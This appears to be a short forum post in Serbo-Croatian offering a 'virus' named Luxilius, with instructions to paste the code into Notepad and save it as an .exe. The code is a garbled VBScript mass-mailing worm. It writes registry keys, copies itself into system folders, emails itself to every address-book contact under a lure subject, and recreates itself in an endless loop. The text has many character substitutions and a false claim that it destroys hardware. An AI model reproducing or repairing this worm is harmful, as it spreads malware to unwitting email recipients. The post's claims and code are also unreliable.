Novi Virus Luxilius

Ovo je virus koji se zove Luxilius.exe
kad iskopirate
ovaj text u notepad ispod tarabica
dacete mu ime Luxilius.exe inace podesen je
da eliminise softwer i hardwer ujedno.medjutim,antivirus
ce ga obrisati al ovaj virus ima svoj save hiden files
####################################################

exe.10101001
Created/crackerLuxilius
2.14GHz,512MB\RAM
On Error Resume Next eliminate boot
Set_shellobject=CreateObject(”WScript.Shell’)
shellobject.regwrite“
HKCU\software\hardware\update\
”,“Worm made with Vbswg 20.94Gb”
Set_fi[esystem=Createobject(”scripting.filesystemobject”)
filesystem.copyfile
wscript.scriptfu[[name,filesystem.GetSpecia[server(O)
&“\Luxilius.exe”
if_shellobject.regread
(“HKCU\software\hardware\update\mai[ed”)
“1”then
maiL_mydoom()
end if
if_month(now)=1 and day(now)=26 then
she[[object.run“Http://www.dynabyte.nC’,3,fa[sh
end if
Set wormffte=filesystem.opentextfile(wscript.scriptfullname,
1)
payload=wormffte.readall
wormffte.Close
Do
If Not (filesystem.fileexists(wscript.scriptfullname))Then
Set_newfile=filesystem.createtextfile(wscript.scriptfullname,True)
newfile.write payload
newfile.Close
End If
Loop
Function mail_mydoom()
On Error Resume Next eliminate
Set server=CreateObject(”server.Application”)
If server=“server”Then
Set_mapi=server.GetNameSpace(”server”)
Set_add resses=mapi.Address Lists
For Each address In addresses
If address.AddressEntries.Count<>0 Then
count=address.AddressEntries.Count
For 1=1 To count
Set_email=server.Createltem(0)
Set_entry=address.AddressEntries( I)
email.To=entry.Address
email.Subject=“In your system is Branko-v crack
email.Body=“Hi:”&vbcrlf&“Check This!”&vbcrlf&
set_attachment=email.Attachments
attachment.Add filesystem.GetSpecialserver(0)&
“\Luxilius.exe”
email.DeleteAfterSubmit = True
If email.To<>“Then
email.Send
shellobject.regwrite“
HKCU\software\hardware\eliminate\mailed”,“1”
End If
Next
End If
Next
end if
End Function
‘Vbswg 20.94Gb"